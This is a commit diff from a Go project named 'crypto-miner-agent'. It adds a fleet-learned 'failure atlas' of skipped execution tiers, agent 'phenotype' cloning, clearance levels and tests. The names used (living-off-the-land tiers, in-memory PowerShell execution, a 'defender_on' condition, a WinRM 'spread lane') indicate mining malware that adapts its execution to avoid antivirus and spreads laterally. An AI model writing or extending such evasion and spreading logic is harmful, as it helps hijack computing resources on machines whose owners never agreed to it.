Add phenotype cloning, failure atlas, AI court session, and clearance L0-L4
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -85,6 +85,48 @@ func TestAISnapshotJSONShape(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAISnapshotIncludesClearancePhenotypeAtlas(t *testing.T) {
|
||||
c := &AgentClient{
|
||||
cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "w"}},
|
||||
agentID: "a1",
|
||||
reporter: newTestClient(t).reporter,
|
||||
pool: newTestClient(t).pool,
|
||||
clearanceLevel: 2,
|
||||
atlasSkips: []AtlasSkip{
|
||||
{Tier: "ps_inmemory", Condition: "defender_on", Reason: "5 failures"},
|
||||
},
|
||||
inheritedPhenotype: &InheritedPhenotype{
|
||||
SourceAgentName: "worker-07",
|
||||
TierOrder: []string{"container", "wsl"},
|
||||
SpreadLane: "winrm",
|
||||
},
|
||||
}
|
||||
|
||||
snap := c.buildAISnapshot(0)
|
||||
raw, err := json.Marshal(snap)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var m map[string]json.RawMessage
|
||||
if err := json.Unmarshal(raw, &m); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for _, key := range []string{"clearance_level", "atlas_skips", "inherited_phenotype"} {
|
||||
if _, ok := m[key]; !ok {
|
||||
t.Fatalf("missing snapshot field %q in %s", key, string(raw))
|
||||
}
|
||||
}
|
||||
if snap.ClearanceLevel != 2 {
|
||||
t.Fatalf("clearance_level=%d", snap.ClearanceLevel)
|
||||
}
|
||||
if len(snap.AtlasSkips) != 1 || snap.AtlasSkips[0].Tier != "ps_inmemory" {
|
||||
t.Fatalf("atlas_skips=%+v", snap.AtlasSkips)
|
||||
}
|
||||
if snap.InheritedPhenotype == nil || snap.InheritedPhenotype.SourceAgentName != "worker-07" {
|
||||
t.Fatalf("inherited_phenotype=%+v", snap.InheritedPhenotype)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAISnapshotStuckWhenChainExhausted(t *testing.T) {
|
||||
snap := AISnapshot{
|
||||
MiningHashrate: 0,
|
||||
|
||||
45
agent/client/atlas_policy.go
Normal file
45
agent/client/atlas_policy.go
Normal file
@@ -0,0 +1,45 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"crypto-miner-agent/miner"
|
||||
)
|
||||
|
||||
// AtlasSkip is a fleet-learned hard skip from the failure atlas.
|
||||
type AtlasSkip struct {
|
||||
Tier string `json:"tier"`
|
||||
Condition string `json:"condition"`
|
||||
Reason string `json:"reason"`
|
||||
}
|
||||
|
||||
func (c *AgentClient) applyAtlasSkips(skips []AtlasSkip) {
|
||||
c.mu.Lock()
|
||||
c.atlasSkips = append([]AtlasSkip(nil), skips...)
|
||||
c.mu.Unlock()
|
||||
c.mergeAtlasSkipsIntoPolicy()
|
||||
}
|
||||
|
||||
func (c *AgentClient) atlasSkipsSnapshot() []AtlasSkip {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
return append([]AtlasSkip(nil), c.atlasSkips...)
|
||||
}
|
||||
|
||||
func (c *AgentClient) mergeAtlasSkipsIntoPolicy() {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
if len(c.atlasSkips) == 0 {
|
||||
return
|
||||
}
|
||||
have := make(map[miner.LOTLTier]bool, len(c.tierPolicy.SkipTiers))
|
||||
for _, t := range c.tierPolicy.SkipTiers {
|
||||
have[t] = true
|
||||
}
|
||||
for _, skip := range c.atlasSkips {
|
||||
tier := miner.LOTLTier(skip.Tier)
|
||||
if tier == "" || have[tier] {
|
||||
continue
|
||||
}
|
||||
have[tier] = true
|
||||
c.tierPolicy.SkipTiers = append(c.tierPolicy.SkipTiers, tier)
|
||||
}
|
||||
}
|
||||
@@ -64,6 +64,7 @@ type MiningDiagnostics struct {
|
||||
LOTLAttempts []miner.TierAttempt `json:"lotl_attempts,omitempty"`
|
||||
TierChainOrder []string `json:"tier_chain_order,omitempty"`
|
||||
TierChainSkipped []string `json:"tier_chain_skipped,omitempty"`
|
||||
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
|
||||
AdaptiveStrategy *AdaptiveStrategy `json:"adaptive_strategy,omitempty"`
|
||||
StrategyReasoning []StrategyReason `json:"strategy_reasoning,omitempty"`
|
||||
WebGPUReady bool `json:"webgpu_ready,omitempty"`
|
||||
@@ -136,6 +137,9 @@ func (c *AgentClient) collectMiningDiagnostics() MiningDiagnostics {
|
||||
for i, t := range skipped {
|
||||
d.TierChainSkipped[i] = string(t)
|
||||
}
|
||||
if atlasSkips := c.atlasSkipsSnapshot(); len(atlasSkips) > 0 {
|
||||
d.AtlasSkips = atlasSkips
|
||||
}
|
||||
if strat := c.adaptiveStrategySnapshot(); len(strat.TierOrder) > 0 {
|
||||
copy := strat
|
||||
d.AdaptiveStrategy = ©
|
||||
|
||||
@@ -32,6 +32,9 @@ func (c *AgentClient) applyInheritedPhenotypeJSON(raw json.RawMessage) {
|
||||
if err := json.Unmarshal(raw, &p); err != nil || len(p.TierOrder) == 0 {
|
||||
return
|
||||
}
|
||||
c.mu.Lock()
|
||||
c.inheritedPhenotype = &p
|
||||
c.mu.Unlock()
|
||||
order := make([]miner.LOTLTier, len(p.TierOrder))
|
||||
for i, t := range p.TierOrder {
|
||||
order[i] = miner.LOTLTier(t)
|
||||
|
||||
@@ -48,6 +48,7 @@ func (c *AgentClient) applyAdaptiveStrategyJSON(raw json.RawMessage) {
|
||||
}
|
||||
c.tierPolicy = policy
|
||||
c.mu.Unlock()
|
||||
c.mergeAtlasSkipsIntoPolicy()
|
||||
log.Printf("[agent] adaptive strategy applied (%d tiers, confidence=%.2f)", len(s.TierOrder), s.Confidence)
|
||||
}
|
||||
|
||||
|
||||
@@ -158,6 +158,44 @@ func TestSelectMiningTierChainForceTier(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectMiningTierChainAtlasSkipOmitsTier(t *testing.T) {
|
||||
policy := MiningTierPolicy{
|
||||
TierOrder: DefaultTierOrder,
|
||||
SkipTiers: []LOTLTier{TierPSInMemory},
|
||||
}
|
||||
chain, skipped := SelectMiningTierChain(baseProbes(), policy, testCfg(config.BuiltinConfig{}))
|
||||
if chainContains(chain, TierPSInMemory) {
|
||||
t.Fatalf("atlas/policy skip should omit ps_inmemory from chain=%v", chain)
|
||||
}
|
||||
if !chainContains(skipped, TierPSInMemory) {
|
||||
t.Fatalf("expected ps_inmemory in skipped=%v", skipped)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTierOrchestratorAtlasSkipNotAttempted(t *testing.T) {
|
||||
probes := baseProbes()
|
||||
policy := MiningTierPolicy{
|
||||
TierOrder: []LOTLTier{TierPSInMemory, TierCPUInprocess},
|
||||
SkipTiers: []LOTLTier{TierPSInMemory},
|
||||
}
|
||||
o := NewTierOrchestrator(testCfg(config.BuiltinConfig{}), probes, policy, TierHooks{
|
||||
StartInProcess: func() error { return nil },
|
||||
}, nil)
|
||||
|
||||
tier, err := o.TryChain(t.Context())
|
||||
if err != nil {
|
||||
t.Fatalf("TryChain: %v", err)
|
||||
}
|
||||
if tier != TierCPUInprocess {
|
||||
t.Fatalf("active=%q want cpu_inprocess", tier)
|
||||
}
|
||||
for _, a := range o.Report().Attempts {
|
||||
if a.Tier == TierPSInMemory {
|
||||
t.Fatalf("atlas-skipped tier should not be attempted: %+v", a)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestTierOrchestratorStubTiersFallThrough(t *testing.T) {
|
||||
probes := EnvironmentProbes{
|
||||
Docker: false,
|
||||
|
||||
Reference in New Issue
Block a user